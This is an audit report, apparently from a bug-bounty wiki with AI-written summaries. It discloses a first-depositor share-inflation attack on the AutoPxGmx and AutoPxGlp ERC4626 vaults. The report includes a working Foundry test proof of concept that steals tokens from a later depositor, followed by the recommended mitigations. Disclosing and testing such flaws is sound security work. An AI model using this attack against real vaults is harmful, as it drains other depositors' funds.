Underlying assets stealing in AutoPxGmx and AutoPxGlp via share price manipulation
The AutoPxGmx and AutoPxGlp vaults are vulnerable to a share price manipulation attack where an attacker can steal underlying tokens from other depositors by exploiting rounding in share calculation. An attacker can deposit a tiny amount, then donate a large amount to inflate the share price, causing subsequent depositors to receive fewer shares and lose funds when redeeming.
Submitted by Jeiwan, also found by seyni, gogo, pashov, hl_, rbserver, peanuts, 141345, unforgiven, Lambda, joestakey, JohnSmith, R2, Koolex, xiaoming90, yongskiws, carrotsmuggler, ladboy233, 0xSmartContract, KingNFT, cccz, HE1M, rvierdiiev, koxuan, 8olidity, and 0xLad
Impact
pxGMX and pxGLP tokens can be stolen from depositors in AutoPxGmx and AutoPxGlp vaults by manipulating the price of a share.
Proof of Concept
ERC4626 vaults are subject to a share price manipulation attack that allows an attacker to steal underlying tokens from other depositors (this is a known issue of Solmate’s ERC4626 implementation). Consider this scenario (this is applicable to AutoPxGmx and AutoPxGlp vaults):
-
Alice is the first depositor of the
AutoPxGmxvault; -
Alice deposits 1 wei of pxGMX tokens;
-
in the
depositfunction (PirexERC4626.sol#L60), the amount of shares is calculated using thepreviewDepositfunction:function previewDeposit(uint256 assets) public view virtual returns (uint256) { return convertToShares(assets); } function convertToShares(uint256 assets) public view virtual returns (uint256) { uint256 supply = totalSupply; // Saves an extra SLOAD if totalSupply is non-zero. return supply == 0 ? assets : assets.mulDivDown(supply, totalAssets()); } -
Since Alice is the first depositor (totalSupply is 0), she gets 1 share (1 wei);
-
Alice then sends 9999999999999999999 pxGMX tokens (10e18 - 1) to the vault;
-
The price of 1 share is 10 pxGMX tokens now: Alice is the only depositor in the vault, she’s holding 1 wei of shares, and the balance of the pool is 10 pxGMX tokens;
-
Bob deposits 19 pxGMX tokens and gets only 1 share due to the rounding in the
convertToSharesfunction:19e18 * 1 / 10e18 == 1; -
Alice redeems her share and gets a half of the deposited assets, 14.5 pxGMX tokens (less the withdrawal fee);
-
Bob redeems his share and gets only 14.5 pxGMX (less the withdrawal fee), instead of the 19 pxGMX he deposited.
// test/AutoPxGmx.t.sol
function testSharePriceManipulation_AUDIT() external {
address alice = address(0x31337);
address bob = address(0x12345);
vm.label(alice, "Alice");
vm.label(bob, "Bob");
// Resetting the withdrawal fee for cleaner amounts.
autoPxGmx.setWithdrawalPenalty(0);
vm.startPrank(address(pirexGmx));
pxGmx.mint(alice, 10e18);
pxGmx.mint(bob, 19e18);
vm.stopPrank();
vm.startPrank(alice);
pxGmx.approve(address(autoPxGmx), 1);
// Alice deposits 1 wei of pxGMX and gets 1 wei of shares.
autoPxGmx.deposit(1, alice);
// Alice sends 10e18-1 of pxGMX and sets the price of 1 wei of shares to 10e18 pxGMX.
pxGmx.transfer(address(autoPxGmx), 10e18-1);
vm.stopPrank();
vm.startPrank(bob);
pxGmx.approve(address(autoPxGmx), 19e18);
// Bob deposits 19e18 of pxGMX and gets 1 wei of shares due to rounding and the price manipulation.
autoPxGmx.deposit(19e18, bob);
vm.stopPrank();
// Alice and Bob redeem their shares.
vm.prank(alice);
autoPxGmx.redeem(1, alice, alice);
vm.prank(bob);
autoPxGmx.redeem(1, bob, bob);
// Alice and Bob both got 14.5 pxGMX.
// But Alice deposited 10 pxGMX and Bob deposited 19 pxGMX – thus, Alice stole pxGMX tokens from Bob.
// With withdrawal fees enabled, Alice would've been penalized more than Bob
// (14.065 pxGMX vs 14.935 pxGMX tokens withdrawn, respectively),
// but Alice would've still gotten more pxGMX that she deposited.
assertEq(pxGmx.balanceOf(alice), 14.5e18);
assertEq(pxGmx.balanceOf(bob), 14.5e18);
}
Recommended Mitigation Steps
Consider either of these options:
- In the
depositfunction ofPirexERC4626, consider requiring a reasonably high minimal amount of assets during first deposit. The amount needs to be high enough to mint many shares to reduce the rounding error and low enough to be affordable to users. - On the first deposit, consider minting a fixed and high amount of shares, irrespective of the deposited amount.
- Consider seeding the pools during deployment. This needs to be done in the deployment transactions to avoid front-running attacks. The amount needs to be high enough to reduce the rounding error.
- Consider sending first 1000 wei of shares to the zero address. This will significantly increase the cost of the attack by forcing an attacker to pay 1000 times of the share price they want to set. For a well-intended user, 1000 wei of shares is a negligible amount that won’t diminish their share significantly.
Picodes (judge) increased severity to High
kphed (Redacted Cartel) confirmed
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the vault's share calculation uses rounding down and does not account for direct token transfers, allowing the share price to be manipulated when total supply is low.
Impact
An attacker could steal underlying tokens from other depositors in the AutoPxGmx and AutoPxGlp vaults, with the attack being more profitable when withdrawal fees are disabled or lower.
What the attacker needed
Attacker is first depositor; attacker has tokens to donate; victim deposits after manipulation
The fix
The report recommends requiring a reasonably high minimal amount for the first deposit, minting a fixed high amount of shares on first deposit, seeding the pools during deployment, or sending the first 1000 wei of shares to the zero address.
How it was found
- Alice deposits 1 wei of pxGMX tokens as the first depositor.
- Alice sends a large amount of pxGMX tokens directly to the vault, inflating the share price.
- Bob deposits 19 pxGMX tokens but receives only 1 share due to rounding.
- Alice and Bob redeem their shares, each receiving 14.5 pxGMX, so Alice profits at Bob's expense.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
These vaults work like a shared pot: people put tokens in and get shares representing their portion. The number of shares you get depends on the pot's total value divided by total shares. An attacker can make the first tiny deposit, then send a large amount directly to the pot to make each share very valuable. When someone else deposits, rounding gives them fewer shares than they should get, so the attacker can later withdraw more than they put in, taking the victim's tokens.
What is Smart contracts?
Flaws in on-chain code that let an attacker drain funds, freeze them or break the protocol's accounting.